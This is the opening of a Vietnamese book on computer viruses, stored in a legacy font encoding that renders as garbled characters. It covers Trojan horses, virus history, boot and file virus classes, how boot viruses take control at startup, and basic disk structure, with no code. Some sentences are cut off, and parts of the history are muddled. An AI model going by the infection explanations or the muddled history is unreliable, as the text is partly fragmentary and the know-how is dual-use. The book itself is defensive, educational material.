
 



 2 

 
 

lêi   nãi   ®Çu 
 
 

   
 

MÆc dï virus tin häc ®� xuÊt hiÖn l©u trªn thÕ giíi vµ ë c¶ trong n−íc. Vµ kh«ng ai cßn ng¹c 
nhiªn n÷a nÕu biÕt m¸y tÝnh cña m×nh ®� bÞ nhiÔm virus. ThÕ nh−ng, thùc ®¸ng ng¹c nhiªn v× 
hÇu nh− ch−a cã mét cuèn s¸ch nµo ®Ò cËp ®Õn virus mét c¸ch ®Çy ®ñ vµ chi tiÕt. Sù thiÕu v¾ng 
th«ng tin nµy kh«ng ph¶i lµ v« t×nh mµ do nh÷ng quan niÖm cho r»ng phæ biÕn nh÷ng th«ng tin 
nh− vËy kh«ng nh÷ng kh«ng ®−îc lîi Ých g× mµ cßn lµm gia t¨ng sè l−îng virus lªn, vµ nh− thÕ 
lµm t¨ng nguy c¬ mÊt m¸t d÷ liÖu. XÐt vÒ khÝa c¹nh nµy, c¸c nhµ s¶n xuÊt phÇn mÒm chèng 
virus còng rÊt ®ång t×nh. 
ChÝnh sù thiÕu hiÓu biÕt thùc sù ... gi¶ t¹o vÒ virus cïng víi sù thæi phång qu¸ ®¸ng cña b¸o chÝ 
®� biÕn virus tin häc bÐ nhá thµnh mét con ‘ngo¸o ép’ khæng lå lµm kinh hoµng cho nh÷ng 
ng−êi sö dông téi nghiÖp khi m¸y cña hä bÞ mét hiÖn t−îng nµo ®ã mµ nghi ngê lµ virus. C¸i 
gi¸ ph¶i tr¶ cho sù thiÕu hiÓu biÕt nµy ®«i khi l¹i qu¸ to lín, mét sù sai lÖch d÷ liÖu do lçi logic 
cña ch−¬ng tr×nh cã thÓ gi¸n ®o¹n vµi ngµy ®Ó backup d÷ liÖu vµ format l¹i ®Üa, mét file tù 
nhiªn t¨ng kÝch th−íc còng g©y hoang mang. §ã lµ ch−a kÓ ®Õn sù ®æ lçi cho virus tin häc sù 
thiÕu hiÓu biÕt cña m×nh. 
MÆt kh¸c, mét virus tin häc ®óng nghÜa lµ mét virus cã kÝch th−íc ch−¬ng tr×nh cùc nhá vµ 
trong ®ã bao gåm chøc n¨ng khã kh¨n nªn ®ßi hái virus ®−îc thiÕt kÕ trùc tiÕp b»ng ng«n ng÷ 
Assembler vµ bao hµm nh÷ng gi¶i thuËt tèi −u vµ kÜ thuËt cao, nÕu xÐt trªn mét khÝa c¹nh nµo 
®ã rÊt ®¸ng cho chóng ta häc tËp. 
ChÝnh v× nh÷ng lÝ do ®ã, cuèn s¸ch nµy ra ®êi nh»m cung cÊp cho ®éc gi¶ nh÷ng th«ng tin cÇn 
thiÕt vµ ®óng ®¾n vÒ virus, tõ ®ã cã thÓ rót ra nh÷ng bµi häc bæ Ých vµ cÇn thiÕt trong viÖc ph¸t 
hiÖn vµ cøu ch÷a c¸c hËu qu¶ mµ virus g©y ra. 
Dï ®−îc so¹n víi nh÷ng th«ng tin rÊt c¬ b¶n, cuèn s¸ch nµy vÉn ®ßi hái ®éc gi¶ ph¶i cã mét 
kiÕn thøc c¨n b¶n vÒ Assembler (v× chÝnh virus còng ®−îc thiÕt kÕ b»ng ng«n ng÷ nµy) ®Ó cã 
thÓ hiÓu vµ ph©n tÝch virus mét c¸ch tØ mØ nhÊt. 
T¸c gi¶ kh«ng bao giê cã môc ®Ých h−íng dÉn ®éc gi¶ mét ph−¬ng ph¸p ®Ó thiÕt kÕ mét virus, 
vµ tèt nhÊt b¹n ®äc còng ®õng bao giê cã ý ®Þnh nµy v× chÝnh c¸c b¹n sÏ lµ nh÷ng n¹n nh©n ®Çu 
tiªn cña nã vµ sÏ g¸nh chÞu mäi hËu qu¶ do nã g©y ra. 
C¸c virus ®−îc kh¶o s¸t trong cuèn s¸ch nµy tÊt c¶ lµ nh÷ng virus ®� biÕt trong thµnh phè còng 
nh− trªn thÕ giíi, trong ®ã, sè virus ®−îc biÕt trong n−íc còng ®� chiÕm gÇn ph©n nöa. 
Xin c¶m ¬n sù gióp ®ì quÝ b¸u cña c¸c ®ång nghiÖp trong viÖc hiÖu chÝnh vµ ®ãng gãp nhiÒu ý 
kiÕn hay cho cuèn s¸ch. V× ®©y lµ lÇn xuÊt b¶n ®Çu tiªn, ch¾c ch¾n cuèn s¸ch sÏ cßn nhiÒu ®iÒu 
thiÕu sãt, t¸c gi¶ mong nhËn ®−îc nhiÒu ý kiÕn ®ãng gãp cña ®éc gi¶. 
 
 
                                                                           §Þa chØ liªn l¹c t¸c gi¶: 
                                                                        Ng« Anh Vò 
                                                                   Trung t©m CESAIS 

                                                                                       Ban tin häc 
                                 17 Ph¹m Ngäc Th¹ch Q.3 TP Hå ChÝ Minh 
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Giíi thiÖu tæng qu¸t vÒ virus tin häc 
 
 
 

I - Virus Tin Häc vµ Trojan Horse. 

 

LuËt ph¸p tõng n−íc vÉn cßn cã chç kh«ng ®ång nhÊt, cã n−íc ®� chÊp nhËn b¶o vÖ b¶n 
quyÒn c¸c phÇn mÒm, nh−ng cã nh÷ng n−íc l¹i kh«ng ®Ò cËp mét c¸ch râ rµng ®Õn vÊn ®Ò 
nµy. Cïng víi sù ph¸t triÓn nh− vò b�o cña phÇn cøng, kÜ thuËt sao chÐp còng ®¹t ®Õn tr×nh ®é 
cao. Nh÷ng phÇn mÒm sao chÐp nh− COPYIIPC, COPYWRIT ... cho phÐp t¹o mét ®Üa míi cã 
mäi thµnh phÇn gièng nh− ®Üa gèc ®� lµm thiÖt h¹i ®¸ng kÓ cho c¸c h�ng s¶n xuÊt phÇn mÒm. 
Lîi dông kÏ ë luËt ph¸p cña c¸c n−íc, mét sè n¬i ®� xuÊt hiÖn nh÷ng tay ‘c−íp’ phÇn mÒm 
chuyªn nghiÖp. Nh÷ng phÇn mÒm võa ®−îc ®−a ra thÞ tr−êng ngµy h«m tr−íc th× lËp tøc nã bÞ 
ph¸ khãa (khãa ë ®©y ®−îc hiÓu nh− mét m� ®−îc ®−a vµo khi thi hµnh ch−¬ng tr×nh, mét ®Üa 
gèc...), copy l¹i, thËm chÝ cßn söa ®æi c¶ tªn t¸c gi¶, råi tung ra thÞ tr−êng víi gi¸ rÎ ch−a tõng 
cã. 
Nh÷ng hµnh ®éng v« ®¹o ®øc nµy lµ mét th¸ch thøc ®èi víi c¸c nhµ s¶n xuÊt phÇn mÒm, do 
®ã, ý t−ëng ®−a mét ®o¹n m� ph¸ ho¹i (destructive code) vµo trong phÇn mÒm víi môc ®Ých sÏ 
ph¸ hñy d÷ liÖu nÕu phÇn mÒm nµy kh«ng n»m trªn ®Üa gèc kh«ng ph¶i lµ ý t−ëng g× míi l¹. 
Nh−ng viÖc giÊu mét ®o¹n m� nh− thÕ nµo vµ b¶n chÊt cña ®o¹n m� ra sao th× l¹i tïy thuéc vµo 
nhµ s¶n xuÊt vµ kh«ng mét ai thõa nhËn (tÊt nhiªn, kÓ c¶ nh÷ng nhµ s¶n xuÊt ra nã) còng nh− 
chøng kiÕn ®iÒu nµy c¶. 
MÆt kh¸c, tin häc ®� vµ ®ang trë thµnh phæ cËp cho toµn thÕ giíi, nh÷ng cÊu tróc néi t¹i, 
nh÷ng kÜ thuËt lËp tr×nh ®Òu ®−îc h−íng dÉn tØ mØ vµ nghiªm tóc ®ang tiÕp cËn tõng ng−êi vµ 
cô thÓ lµ víi tÇng líp thanh niªn. Víi ®Çy ®ñ kiÕn thøc vµ tÝnh hiÕu th¾ng, ®ua tµi cña tuæi trÎ, 
mét t− t−ëng næi lo¹n hay sù tù kh¼ng ®Þnh m×nh qua nh÷ng ch−¬ng tr×nh mang tÝnh chÊt ph¸ 
ho¹i ®Òu cã thÓ g©y nguy hiÓm vµ thùc tÕ còng kh«ng Ýt vÝ dô chøng minh cho ®iÒu nµy. 
C¨n cø vµo tÝnh chÊt cña ®o¹n m� ph¸ ho¹i, ta cã thÓ chia chóng thµnh hai lo¹i: virus vµ trojan 
horse. 
1/ Trojan horse:   

        ThuËt ng÷ nµy dùa vµo mét ®iÓn tÝch cæ, chØ nh÷ng ®o¹n m� ®−îc ‘c¾m’ vµo bªn trong 
mét phÇn mÒm, cho phÐp xuÊt hiÖn vµ ra tay ph¸ ho¹i mét c¸ch bÊt ngê nh− nh÷ng ‘anh hïng’ 
x«ng ra tõ bông con ngùa thµnh Troa. Trojan horse lµ mét ®o¹n m� HOµN TOµN KH¤NG 
Cã TÝNH CHÊT L¢Y LAN, chØ n»m trong nh÷ng phÇn mÒm nhÊt ®Þnh. §o¹n m� nµy sÏ ph¸ 
ho¹i vµo mét thêi ®iÓm x¸c ®Þnh cã thÓ ®−îc t¸c gi¶ ®Þnh tr−íc vµ ®èi t−îng cña chóng lµ 
th«ng tin trªn ®Üa nh− format l¹i ®Üa, xãa FAT, Root.... 
Th«ng th−êng c¸c phÇn mÒm cã chøa Trojan horse ®−îc ph©n phèi nh− lµ c¸c version bæ sung, 
hay míi, vµ ®iÒu nµy sÏ trõng ph¹t nh÷ng ng−êi thÝch sao chÐp phÇn mÒm ë nh÷ng n¬i cã 
nguån gèc kh«ng x¸c ®Þnh. 
Tuy nhiªn ®èi víi hiÖn t−îng nµy, ë ViÖt nam nãi chung vµ thµnh phè ta ch−a xuÊt hiÖn. Vµ 
còng dÔ thÊy tÇm ho¹t ®éng vµ møc ph¸ ho¹i khi ho¹t ®éng trªn c¸c m¸y ®¬n sÏ v« cïng h¹n 
chÕ. 
2/ Virus tin häc:   

ThuËt ng÷ nµy nh»m chØ mét ch−¬ng tr×nh m¸y tÝch cã thÓ tù sao chÐp chÝnh nã lªn nh÷ng ®Üa, 
file kh¸c mµ ng−êi sö dông kh«ng hay biÕt. Th«ng th−êng virus còng mang tÝnh ph¸ ho¹i, nã 
sÏ g©y ra lçi thi hµnh, lÖch l¹c hay hñy d÷ liÖu.... 



www.updatesofts.com 

 5 

So víi Trojan horse, virus mang tÇm vãc ‘vÜ ®¹i’ h¬n, sù lan truyÒn xa h¬n vµ do ®ã t¸c h¹i cña 
nã v« cïng khñng khiÕp h¬n. ë thµnh phè, virus ®� xuÊt hiÖn kh¸ sím vµ còng ®� g©y nhiÒu 
t¸c h¹i víi −u thÕ cña virus so víi Trojan horse. ë ®©y , mét bµi b¸o nhan ®Ò “LÝ thuyÕt vµ c¬ 
cÊu cña c¸c phÇn tö tù hµnh phøc t¹p “(Theory and Organization of Complicated Automata). 
Trong bµi b¸o cña m×nh, «ng ®� nªu ra lÝ thuyÕt vÒ sù tù nh©n lªn nhiÒu lÇn cña c¸c ch−¬ng 
tr×nh m¸y tÝnh. Nh÷ng ®ång nghiÖp cña «ng ®� dÌ bØu nhiÒu vÒ ý t−ëng nµy nh−ng ®iÒu nµy 
còng dÔ hiÓu v× nh÷ng chiÕc m¸y tÝnh ®iÖn tö ®Çu tiªn (electronic computer) ®−îc ph¸t triÓn 
nhiÒu n¨m sau ®ã. 
 
M−êi n¨m sau ®ã, trong mét chi nh¸nh cña h�ng AT&T’s Bell, ba th¶o ch−¬ng viªn trÎ tuæi ®� 
ph¸t triÓn mét trß ch¬i tªn lµ ‘Core War’, ba ng−êi nµy tªn lµ Mc Ilroy, Victor Vysottsky vµ 
Robert Morris, ®Òu lµ nh÷ng ng−êi n¾m v÷ng nh÷ng cÊu tróc néi t¹i cña m¸y. 
‘Core War’ lµ mét cuéc ®Êu trÝ gi÷a hai ®o¹n m� cña hai th¶o ch−¬ng viªn. Mçi ®Êu thñ ®−a 
mét ch−¬ng tr×nh cã kh¶ n¨ng tù t¸i t¹o (reproducing program) gäi lµ Organism vµo trong bé 
nhí cña m¸y tÝnh. Khi b¾t ®Çu cuéc ch¬i Organism, mçi ®Êu thñ sÏ cè g¾ng ph¸ hñy organism 
cña ®èi ph−¬ng vµ t¸i t¹o organism cña m×nh. §Êu thñ th¾ng cuéc lµ ®Êu thñ ph¸t triÓn nhiÒu 
lÇn c¬ cÊu cña m×nh. 
Trß ch¬i ‘Core War’ nµy ®−îc gi÷ kÝn cho ®Õn n¨m 1983, Ken Thompson, mét tay ch¬i lçi l¹c 
®� viÕt version ®Çu cho hÖ ®iÒu hµnh UNIX, ®Ó lé ra khi nhËn mét trong nh÷ng phÇn th−ëng 
danh dù cña giíi kü nghÖ ®iÖn tö - Gi¶i th−ëng A.M Turing. Trong bµi diÔn v¨n cña m×nh, «ng 
®� ®−a ra mét ý t−ëng vÒ ph−¬ng ph¸p lµm virus. Thompson còng ®Ò cËp ®Õn Core War vµ sau 
®ã tiÕp tôc khuyÕn khÝch thÝnh gi¶ cña m×nh h�y lµm thö! 
Th¸ng 5/1984 tê b¸o Scientific America cã ®¨ng mét bµi b¸o m« t¶ vÒ Core War vµ cung cÊp 
cho ®äc gi¶ c¬ héi mua nh÷ng lêi h−íng dÉn vÒ trß ch¬i nµy - nã ®−îc gëi ®Õn tËn nhµ víi gi¸ 
2 USD c−íc phÝ b−u ®iÖn! 
§Çu tiªn, virus tin häc ®� b¾t ®Çu trªn c¸c m¸y lín nh− CREEPER (1970, RABBIT (1974), 
ANIMAL (1980).... Sau ®ã míi b¾t ®Çu xuÊt hiÖn trªn m¸y PC. §� cã mét sè tµi liÖu cho r»ng 
virus tin häc trªn PC b¾t ®Çu tõ n¨m 1987, tuy nhiªn ®iÒu nµy còng kh«ng ®−îc ch¾c ch¾n khi 
virus Brain ‘th«ng b¸o’ nã ®−îc ra ®êi tõ n¨m 1986! 
Virus ®Çu tiªn trªn m¸y IBM PC ®−îc ph¸t hiÖn vµ nhanh chãng trë nªn næi tiÕng lµ Lehigh 
virus (v× nã xuÊt hiÖn ®Çu tiªn ë tr−êng §¹i häc nµy) vµo tr−íc lÔ T¹ ¬n n¨m 1987. Cïng thêi 
víi virus nµy, mét virus kh¸c ©m thÇm ®æ bé tõ Pakistan vµo MÜ lµ Brain víi môc tiªu ®Çu tiªn 
lµ tr−êng §¹i häc Delaware. Mét n¬i kh¸c trªn thÕ giíi còng ®� t−êng thuËt sù xuÊt hiÖn cña 
virus: §¹i häc Hebrew - Israel. TÊt c¶ ®Òu cã chung mét ®iÓm: tõ c¸c tr−êng §¹i häc, n¬i cã 
c¸c sinh viªn giái, hiÕu ®éng vµ thÝch ®ïa. 
MÆc dï xuÊt hiÖn ë nhiÒu n¬i trªn thÕ giíi, virus vÉn cã chung mét ph−¬ng ph¸p l©y lan, v× 
kh«ng n¾m râ c¸ch thøc nµy, mét sè ng−êi ®� c¶m thÊy hèt ho¶ng khi ®� diÖt b»ng mäi c¸ch, 
m¸y tÝnh vÉn cø bÞ nhiÔm ®i nhiÔm l¹i mét virus. 
Dï vËy, vÉn ph¶i cã mét ph©n lo¹i nµo ®ã chi tiÕt h¬n vÒ virus, lµm cho nã dÔ kiÓm so¸t vµ ®−a 
ra ph−¬ng ph¸p ch÷a trÞ thÝch hîp. Do ®ã, ng−êi ta ®� chia virus thµnh hai lo¹i chÝnh c¨n cø 
theo c¸ch l©y vµ ®èi t−îng l©y. Ta sÏ kh¶o s¸t lÇn l−ît tõng ®èi t−îng mét. 

 

 

III - C¸ch Thøc L©y - Ph©n Lo¹i. 

 
Dùa vµo ®èi t−îng l©y lan lµ file hay ®Üa, ta chia virus thµnh hai nhãm chÝnh: 
 + B - virus (boot virus): virus chØ tÊn c«ng lªn c¸c Boot sector hay Master boot. 
 + F - virus (file virus): virus chØ tÊn c«ng lªn c¸c file thi hµnh ®−îc (d¹ng cã thÓ thi hµnh 
b»ng chøc n¨ng 4Bh cña DOS h¬n lµ nh÷ng file d¹ng .COM hay .EXE). 
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Dï vËy, c¸ch ph©n chia nµy còng kh«ng ph¶i lµ duy nhÊt, mµ còng kh«ng h¼n chÝnh x¸c. V× 
sau nµy, c¸c F - virus vÉn ph¸ ho¹i hay chÌn m� ph¸ ho¹i vµo Boot sector, còng nh− B - virus 
chÌn ®o¹n m� vµo file. Tuy nhiªn, nh÷ng hiÖn t−îng nµy chØ nh»m ph¸ ho¹i chø kh«ng coi ®ã 
lµ ®èi t−îng ®Ó l©y lan. D¹ng tæng qu¸t cña mét virus cã thÓ biÓu diÔn b»ng s¬ ®å sau: 
                                                                       
 
                               ?   
 
   
                                                                      
 
Nh− ®� giíi thiÖu vÒ ®Þnh nghÜa virus, ®o¹n m� nµy mét lóc nµo ®ã ph¶i ®−îc trao quyÒn ®iÒu 
khiÓn. Nh− vËy, râ rµng virus ph¶i khai th¸c mét chç hë nµo ®ã mµ m¸y ‘tù nguyÖn’ trao 
quyÒn ®iÒu khiÓn l¹i cho nã. Thùc tÕ cã hai kÏ hë nh− thÕ, mµ ta sÏ lÇn l−ît xÐt sau ®©y: 

1/ B - virus:  

Khi m¸y tÝnh b¾t ®Çu khëi ®éng (Power on), mäi thanh ghi cña CPU sÏ ®−îc xãa, c¸c thanh 
ghi ph©n ®o¹n (segment) ®−îc g¸n gi¸ trÞ 0FFFFh, cßn tÊt c¶ c¸c thanh ghi cßn l¹i ®Òu ®−îc 
xãa vÒ 0. Lóc nµy CS:IP dÜ nhiªn sÏ trá ®Õn 0FFFFh:0. T¹i ®Þa chØ nµy lµ mét lÖnh JMP FAR 
chuyÓn quyÒn ®iÒu khiÓn ®Õn mét ®o¹n ch−¬ng tr×nh ®Þnh s½n trong ROM, ®o¹n ch−¬ng tr×nh 
nµy sÏ thùc hiÖn qu¸ tr×nh POST (Power On Seft Test:  tù kiÓm tra khi khëi ®éng). 
Qu¸ tr×nh POST sÏ lÇn l−ît kiÓm tra c¸c thanh ghi, kiÓm tra bé nhí, khëi t¹o c¸c chÝp ®iÒu 
khiÓn DMA, bé ®iÒu khiÓn ng¾t, ®Üa.....NÕu qu¸ tr×nh nµy hoµn thµnh tèt ®Ñp, c«ng viÖc tiÕp 
theo sÏ dß t×m c¸c card thiÕt bÞ g¾n thªm vµo (th−êng c¸c thiÕt bÞ nµy lµ card ®iÒu khiÓn ®Üa 
cøng hay mµn h×nh) vµ trao quyÒn ®iÒu khiÓn ®Ó cho chóng tù khëi t¹o råi sau ®ã lÊy l¹i khi 
card hoµn thµnh xong phÇn khëi t¹o. Tuy vËy còng ph¶i chó ý: toµn bé ®o¹n ch−¬ng tr×nh nµy 
n»m ngay trong ROM, cã tÝnh chÊt ChØ §äc nªn kh«ng thÓ söa ®æi còng nh− chÌn bÊt k× mét 
®o¹n m� ch−¬ng tr×nh kh¸c vµo ®−îc. 
Sau khi mäi viÖc khëi t¹o ®Òu hoµn thµnh tèt ®Ñp, lóc nµy ®o¹n ch−¬ng tr×nh trong ROM míi 
tiÕn hµnh ®äc Boot sector tõ ®Üa vËt lÝ ®Çu tiªn (lµ ®Üa A) vµo trong RAM t¹i ®Þa chØ 0:07C00h 
(Boot sector lµ sector ®Çu tiªn trªn ®Üa n»m ë sector 1, head 0, track 0). NÕu viÖc ®äc kh«ng 
thµnh c«ng, (kh«ng cã ®Üa trong æ ®Üa...) Boot Master cña ®Üa cøng sÏ ®−îc ®äc vµo (nÕu cã ®Üa 
cøng). Gi¶ sö viÖc ®äc ®� thµnh c«ng, quyÒn ®iÒu khiÓn sÏ ®−îc trao cho ®o¹n m� n»m trong 
Boot record b»ng mét lÖnh JMP FAR 0:07C00 mµ kh«ng cÇn biÕt ®o¹n m� nµy lµm g×. Nh− 
vËy, ®Õn lóc nµy bÊt kÓ trong Boot record chøa ®o¹n m� nµo, quyÒn ®iÒu khiÓn vÉn ®−îc trao 
vµ nÕu ®o¹n m� ®ã l¹i tiÕn hµnh format l¹i ®Üa!. Râ rµng, ®©y lµ mét kÏ hë ®Çu tiªn mµ m¸y 
m¾c ph¶i. Nh−ng ®iÒu nµy còng dÔ hiÓu v× PC kh«ng thÓ kiÓm tra ®−îc ®o¹n m� trong Boot 
record - øng víi mçi hÖ ®iÒu hµnh, hoÆc ngay c¶ c¸c version kh¸c nhau - ®o¹n m� nµy còng 
kh¸c nhau. NÕu tù kiÓm ®iÓm l¹i m×nh, b¹n sÏ kh«ng khái giËt m×nh v× sè lÇn ®Ó quªn ®Üa 
mÒm trong æ ®Üa còng kh«ng ph¶i lµ Ýt. 
Tuy vËy, còng cßn may m¾n lµ ....®o¹n m� trong Boot record l¹i hoµn toµn trong s¹ch, nghÜa lµ 
nã ®−îc format d−íi hÖ ®iÒu hµnh hiÖn hµnh vµ h¬n n÷a ch−a cã ai söa ®æi, thay thÕ ®o¹n m� 
nµy c¶. 
Lóc nµy, ®o¹n m� sÏ dß t×m, vµ nÕu cã sÏ t¶i 2 file hÖ thèng vµo vïng nhí (nÕu lµ hÖ ®iÒu hµnh 
MS-DOS, 2 file nµy sÏ cã tªn IO.SYS vµ MSDOS.SYS) råi mét lÇn n÷a trao quyÒn ®iÒu khiÓn. 
Lóc nµy, CONFIG.SYS (nÕu cã) sÏ ®−îc ®äc vµo vµ tiÕn hµnh khëi t¹o c¸c device driver, ®Þnh 
buffer file cho c¸c file.... cuèi cïng COMMAND.COM sÏ ®−îc gäi (nÕu kh«ng cã lÖnh 
SHELL trong CONFIG.SYS) ®Ó råi dÊu nh¾c A:\> quen thuéc xuÊt hiÖn trªn mµn h×nh. 
Lîi dông kÏ hë ®Çu tiªn nµy, B - virus sÏ tÊn c«ng vµo Boot sector, nghÜa lµ nã sÏ thay mét 
Boot sector chuÈn b»ng mét ®o¹n m� virus, quyÒn ®iÒu khiÓn lóc nµy sÏ ®−îc trao cho virus 

NhiÔm 

T×m file/®Üa 

L©y 

Exit 
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tr−íc khi Boot record nhËn quyÒn ®iÒu khiÓn råi sau ®ã mäi chuyÖn vÉn tiÕn hµnh mét c¸ch 
b×nh th−êng cho ®Õn khi... 
Do ®Æc ®iÓm lªn tr−íc c¶ hÖ ®iÒu hµnh, virus ph¶i tù lµm hÕt mäi chuyÖn. Vµ v× vËy ®iÒu nµy 
còng kh«ng ph¶i lµ dÔ dµng víi mét kÝch th−íc ch−¬ng tr×nh nhá bÐ (nÕu kh«ng tin b¹n cã thÓ 
thö ®Þnh vÞ vµ ph©n tÝch FAT mµ kh«ng dïng ®Õn bÊt k× mét th«ng tin nµo tõ DOS xem) 

 

 

2/ F - virus:  

Sau khi COMMAND.COM ®−îc gäi, lóc nµy nã sÏ t×m file AUTO.EXEC.BAT ®Ó thi hµnh 
(nÕu cã) vµ sau cïng dÊu nh¾c sÏ xuÊt hiÖn ®Ó chê nhËn lÖnh. TÊt nhiªn kh«ng ai dïng nh÷ng 
lÖnh néi tró cña DOS ®Ó thi hµnh (trõ nh÷ng ng−êi b¾t ®Çu häc hÖ ®iÒu hµnh DOS). Th«ng 
th−êng, ng−êi ta sÏ thi hµnh mét file nµo ®ã. §¬n gi¶n nhÊt lµ anh ta muèn thi hµnh phÇn mÒm 
Foxbase ch¼ng h¹n b»ng c¸ch ®¸nh tªn Mfoxplus ë dÊu nh¾c ®îi lÖnh cña DOS vµ bÊm phÝm 
Enter. Lóc nµy DOS sÏ t×m mét file cã tªn Mfoxplus.EXE. May m¾n thay file nµy ®� ®−îc t×m 
thÊy, DOS b¾t ®Çu tæ chøc l¹i vïng nhí, t¶i nã lªn råi trao quyÒn ®iÒu khiÓn mµ kh«ng mét 
chót b¨n kho¨n xem nã ®Þnh lµm c¸i g× vµ cã nguy hiÓm kh«ng? 
May thay, kÏ hë thø hai nµy còng bÞ bá qua mµ kh«ng mét ai g©y phiÒn phøc g×. Sau khi thi 
hµnh xong anh ta cã thÓ trë vÒ dÊu nh¾c cña hÖ ®iÒu hµnh mét c¸ch an toµn. 
Thùc chÊt, kÏ hë thø hai nµy còng ®−îc virus tËn dông. §iÒu g× sÏ x¶y ra nÕu quyÒn ®iÒu khiÓn 
thay v× ®−îc trao cho file l¹i rÏ nh¸nh sang cho mét kÎ l¹ mÆt sèng ‘kÝ sinh’ lªn file? §iÒu nµy 
chØ cã... virus míi biÕt ®−îc vµ tÊt nhiªn  sau ®ã, khi kÕt qu¶ ph¸ ho¹i còng ®� râ rµng th× 
ng−êi sö dông còng... biÕt. 
                                                                                                                                                                           
éi t¹i cña hÖ ®iÒu hµnh mµ ta ch−a ®−îc biÕt. 
Qui −íc: 
 + C¸c sè trong cuèn s¸ch nµy ®−îc ngÇm hiÓu d−íi d¹ng thËp lôc h¬n lµ thËp ph©n nÕu                                               
kh«ng ghi  râ d¹ng. 
 + C¸c ch−¬ng tr×nh virus ®−îc minh häa hÇu hÕt ®−îc Unassembler b»ng phÇn mÒm D68. 
 



  

®Üa  -  s¬  l−îc  vÒ  ®Üa 
 
 
 
 
Ch−¬ng nµy kh«ng nh»m môc ®Ých kh¶o s¸t t−êng tËn tõng cÊu tróc vËt lÝ còng nh− logic mµ 
chØ ®¬n gi¶n nh»m cung cÊp cho ®éc gi¶ mét sè th«ng tin thËt cÇn thiÕt, tiÖn cho viÖc ph©n tÝch 
B-virus trong ch−¬ng tiÕp theo. Dï vËy, vÉn cã mét sè th«ng tin bæ Ých cho viÖc tham kh¶o. 
 
  

I - CÊu Tróc VËt LÝ. 

CÊu tróc ®Üa - dï vËt lÝ hay logic, trong thùc tÕ Ýt ®−îc ai ®Ò cËp ®Õn v× møc ®é phøc t¹p, nhÊt 
lµ ®Üa cøng. Tuy nhiªn, nh÷ng kh¸i niÖm c¬ b¶n nhÊt l¹i v« cïng ®¬n gi¶n. 
C¸c lo¹i ®Üa (c¶ ®Üa cøng lÉn ®Üa mÒm) ®Òu dùa vµo hiÖn t−îng tõ hãa ®Ó chøa d÷ liÖu:  ®Çu tõ 
®äc ghi sÏ tõ hãa nh÷ng phÇn tö cùc nhá trªn bÒ mÆt, mçi phÇn tö di chuyÓn qua ®Çu tõ sÏ bÞ 
tõ hãa. Do h×nh d¹ng ban ®Çu cña ®Üa lµ h×nh trßn nªn nhiÒu ng−êi lÇm t−ëng ®©y lµ h×nh d¹ng 
b¾t buéc, thùc ra, b¹n cã thÓ t¹o ra mét ®Üa víi h×nh d¹ng bÊt k×, miÔn sao tån t¹i mét æ ®Üa cho 
phÐp b¹n truy xuÊt nh÷ng th«ng tin trªn ®ã. 
Kh¸c víi trªn b¨ng tõ, trªn ®Üa chóng ta sÏ ghi d÷ liÖu d−íi d¹ng rêi r¹c (hoÆc sÏ mang gi¸ trÞ 
tèi ®a lµ 1 hoÆc mang gi¸ trÞ tèi thiÓu lµ 0) . C¸ch thÓ hiÖn nh− thÕ ®−îc gäi lµ digital. 
Chóng ta sÏ b¾t ®Çu víi kh¸i niÖm Track. 

1/ Track: NÕu b¹n ®Æt mét c©y bót cho lªn mét ®Üa h¸t ®ang xoay. §−êng bót ch× sÏ t¹o trªn 
thµnh ®Üa mét h×nh trßn. Vµ b¹n cø viÖc coi r»ng ®Üa lµ mét ®Üa mÒm, cßn ®Çu bót ch× lµ ®Çu tõ 
®äc ghi. §−êng do c©y bót ch× t¹o nªn b©y giê cã tªn lµ Track. Do mét Track chØ lµ mét h×nh 
trßn chiÕm mét phÇn rÊt nhá, nªn trªn mét ®Üa, ta cã thÓ t¹o nªn nhiÒu h×nh trßn ®ång t©m ®Ó 
cã ®−îc nhiÒu Track. 

2/ Side: BÊt mét ®Üa mÒm nµo còng cã hai mÆt (Side), do ®ã, kh«ng ai b¾t buéc chóng ta ph¶i 
sö dông mét mÆt ®Üa (mÆc dï DOS ®� lµm ®iÒu nµy, nh−ng sau ®ã, nã còng söa sai). Ghi d÷ 
liÖu lªn c¶ hai mÆt ®Üa râ rµng mang l¹i tÝnh king tÕ h¬n v× kh¶ chøa d÷ liÖu cña ®Üa t¨ng lªn 
gÊp ®«i mµ kh«ng cÇn tèn thªm mét æ ®Üa thø hai. §¬n gi¶n lµ ®Æt thªm mét ®Çu ®äc thø hai ë 
phÝa bªn kia ®Ó t¹o thµnh mét ‘gäng k×m’. Hai mÆt ®−îc ®¸nh sè lÇn l−ît lµ mÆt 1 vµ mÆt 0. 

3/ Cylinder: Râ rµng, mét thuËn lîi thø hai cña ®Üa hai mÆt: d÷ liÖu cã thÓ ghi hai lÇn nhanh 
h¬n tr−íc khi ®Çu ®äc chuyÓn sang Track míi. D÷ liÖu ®Çu tiªn cã thÓ ghi lªn Track cña mÆt 
bªn nay råi sau ®ã cïng mét Track nh− thÕ nh−ng ë mÆt bªn kia, cuèi cung míi chuyÓn sang 
Track kh¸c. Mét cÆp Track n»m ®èi xøng nh− thÕ ®−îc tham chiÕu ®Õn nh− mét phÇn  tö duy 
nhÊt Cylinder. 
§Ó thuËn lîi cho viÖc tham chiÕu, Track vµ Cylinder ®−îc ®¸nh sè. Track ë ngoµi cïng ®−îc 
®¸nh sè lµ Track 0. Track ë mÆt trªn ngoµi cïng lµ Track 0, Side 0; Track ë mÆt d−íi lµ Track 
0 Side 1. Nh÷ng Track 0 nh− thÕ ®−îc gäi chung lµ Cylinder 0. B¹n ch¾c ®� tõng nghe nãi ®Üa 
mÒm 360 Kb, nh÷ng ®Üa mÒm lo¹i nh− thÕ cã 80 Track ®−îc ®¸nh sè tõ 0 ®Õn 79. Th«ng 
th−êng, viÖc ®¸nh sè trªn m¸y tÝnh b¾t ®Çu tõ 0 h¬n lµ tõ 1, song vÉn cã ngo¹i lÖ khi Sector b¾t 
®Çu ®¸nh sè tõ 1 vµ Cluster ®−îc ®¸nh sè b¾t ®Çu tõ 2 mµ chóng ra sÏ xÐt sau. 
 §èi víi ®Üa cøng, mét m« h×nh ®¬n gi¶n lµ c¸c ®Üa mÒm ®−îc xÕp song song víi nhau 
thµnh h×nh trô. §Üa trªn cïng lµ Side 0, ®¸y cña nã lµ Side 1 ®Üa thø hai cã hai mÆt lÇn l−ît lµ 
Side 2 vµ 3.... TËp hîp nh÷ng track 0 ®−îc tham kh¶o d−íi tªn gäi Cylinder 0. TÊt nhiªn sè 
®Çu ®äc còng sÏ t¨ng theo. Khèi l−îng d÷ liÖu trªn mét track trªn ®Üa cøng còng thay ®æi tïy 
